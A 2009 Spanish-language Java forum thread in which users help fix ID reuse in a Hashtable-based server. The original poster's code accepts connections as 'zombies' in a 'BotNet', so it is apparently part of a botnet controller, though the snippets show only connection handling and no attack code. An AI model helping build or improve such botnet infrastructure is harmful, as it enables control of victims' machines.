Cita de: panaka en 30 Diciembre 2009, 16:43 PMY así es, el problema es que el contador no es lógico, segun mi punto de vista.
Lo que esta pasando es que no tienes en cuenta la posibilidad de que dos hilos accedan a ese contador a la vez y es lo que esta pasando, en cada uno de los hilos de conexion cada vez que intentes decrementar o incrementar ese contador deberas hacerlo dentro de un bloque synchronized de forma de que solo un hilo puede estar accediendo a esa variable en un determinado instante, es decir, has de tratarlo como parte critica del codigo.
Un saludo
Cita de: Novlucker en 30 Diciembre 2009, 17:30 PMEra justo lo que necesitaba ^^
Siempre digo lo mismo, no se nada de java, pero las dos veces anteriores le atine!, igual esto es de lógica :P
No uses un contador ...
Al conectarse alguien:
Si la tabla esta vacía, simplemente agregas un nuevo ID valor 1
Si la tabla NO esta vacía, la recorres y verificas si algun elemento apunta a un objeto null, si el objeto es null, lo pisas con uno nuevo, si llegas el final sin encontrar un null, agregas un nuevo elemento con id size+1
Al desconectarse alguien:
Pisas el valor de la tabla con un objeto null
Con esto tendrás una tabla con elementos "válidos" y nulos, así que solo deberás de filtrar los nulos a la hora de trabajar
Saludos :P
ID 1 2 | Valor Objeto Objeto |
ID 1 2 3 | Valor Objeto Objeto Objeto |
ID 1 2 3 | Valor - Objeto Objeto |
Cita de: ,.-~*´¨¯¨`*·~-.¸..::| D3Bć1 |::.,.-~*´¨¯¨`*·~-.¸
Me planteé hacerlo que nunca disminuya, pero ocurre el siguiente fallo, cuando quiero hacer un cast a todos, las id que se han desconectado pero sin embargo todavia estan registradas ya no tiene un objeto guardado y produce expeciones cosa mala.
Cita de: Novlucker en 31 Diciembre 2009, 01:15 AMExacto, lo que yo quiero es que llene el hueco que queda vacio, en este caso el id 1.
panaka, lo que ocurre es que el problema del post no es ese, su problema es que va llenando la tablahash y dado que utilizaba un contador, al disminuir el valor acumulado en este, se corría el riesgo de pisar "antiguos elementos" ... ej:Tabla por defecto ... Contador == 2
ID
1
2Valor
Objeto
ObjetoIngresa un elemento ... Contador == 3
ID
1
2
3Valor
Objeto
Objeto
ObjetoSe va el elemento 1... Contador == 2
ID
1
2
3Valor
-
Objeto
Objeto
En esta situación, dado que el ingresa los nuevos elementos en el Contador+1, en el próximo ingreso se pisa el valor de 3, es decir, más allá de que se este trabajando con estructuras sincronicas o no, el problema es de lógica :P
Saludos
Citarput
public Object put(Object key,
Object value)
Maps the specified key to the specified value in this hashtable. Neither the key nor the value can be null.
Cita de: Novlucker en 31 Diciembre 2009, 13:05 PMPara hacerlo de esa manera, mejor usar hashTable jeje, mira voy a intentar algo asi:
Ok, lo que ocurre es que mi sugerencia venía de parte de C# por ejemplo (la similitud con Java es monstruosa!), donde si bien las hashtables no pueden tener keys null, si pueden tener valores null, pero ahora revisando la documentación de java ...
http://java.sun.com/j2se/1.4.2/docs/api/java/util/Hashtable.htmlCitarput
public Object put(Object key,
Object value)
Maps the specified key to the specified value in this hashtable. Neither the key nor the value can be null.
Entonces hay que descartar esa opción.
Alternativa que se me ocurre, llevar un simple array de booleanos en paralelo, donde index +1 = ID y valor true o false según este o no conectado.
Entonces al igual que antes recorres el array, si el elemento 0 es false (por ej), entonces el ID1 esta vacío, cambias valor a true, y en la hashtable asignas objeto :P
Por otra parte, no hay método para cambiar tamaño de array luego de declarado? :o (obviamente no me refiero a copiar el array en otro con length+1)
Saludos
CitarSi se desconecta un cliente, se añade a la lista negra y añade la key por orden, y el otro valor el id que deja libre, luego en cada asignacion de id, recorro la hashTable y cojo los valores libres que van quedando disponibles.Para eso deberías de recorrer todas las claves de la hashtable (blacklist) para así determinar cual es la más pequeña ..
while (true)
{
try {
System.out.println("Esperando conexiones...");
Socket zombie = socketServidor.accept();
idZombie++;
for(int i = 1; i < listaNegra.size(); i++)
{
System.out.println(listaNegra.get(i));
}
if(listaNegra.isEmpty())
{
System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
vectorZombies.put(idZombie, zombie);
nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
}else if(borrado)
{
System.out.println("Asignando un id disponible...\n");
System.out.println("Nuevo zombie añadido a la BotNet: " + listaNegra.get(contador) + "\n");
vectorZombies.put(listaNegra.get(contador), zombie);
nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!",listaNegra.get(contador));
}else{
System.out.println("Nuevo zombie añadido a la BotNet: " + idZombie + "\n");
vectorZombies.put(idZombie, zombie);
nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!", idZombie);
}
nuevoZombie.start();
Servidor.slider.setMaximum(idZombie);
Servidor.numBots.setText(idZombie.toString());
borrado = false;
} catch (IOException ex) {
Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex);
}
}
System.out.println("ADIOS!");
contador++;
ThreadEjecución.listaNegra.put(contador, id);
ThreadEjecución.RenovarDatos();
ThreadEjecución.borrado = true;
Cita de: Novlucker en 31 Diciembre 2009, 14:28 PM:)
P.D: creo que ya he publicado más post de los debidos en este subforo XD
while(true){
try {
connector = serverConnector.accept();
userConnected = new ThreadUserConnected(this,connector);
System.out.println("> Nuevo usuario conectado IP: "+connector.getInetAddress()+" L: "+connector.getLocalPort());
vectorOfConnectedUsers.addElement(userConnected);
try {
Thread.sleep(200);
} catch (InterruptedException e) {System.err.println(e);System.exit(0);}
vectorOfConnectedUsers.get(user).sendMessage(content.Constant._SERVERNAME,"Estas Conectado! ",Constant._SERVERFONT,Constant._SERVERSTYLE,Constant._SERVERCOLOR);
user++;
} catch (IOException e) {System.err.println(e);
System.exit(0);
} catch (Exception e) {
content.Util.showException(this.getClass().getName(), "Error",e.toString());
}
}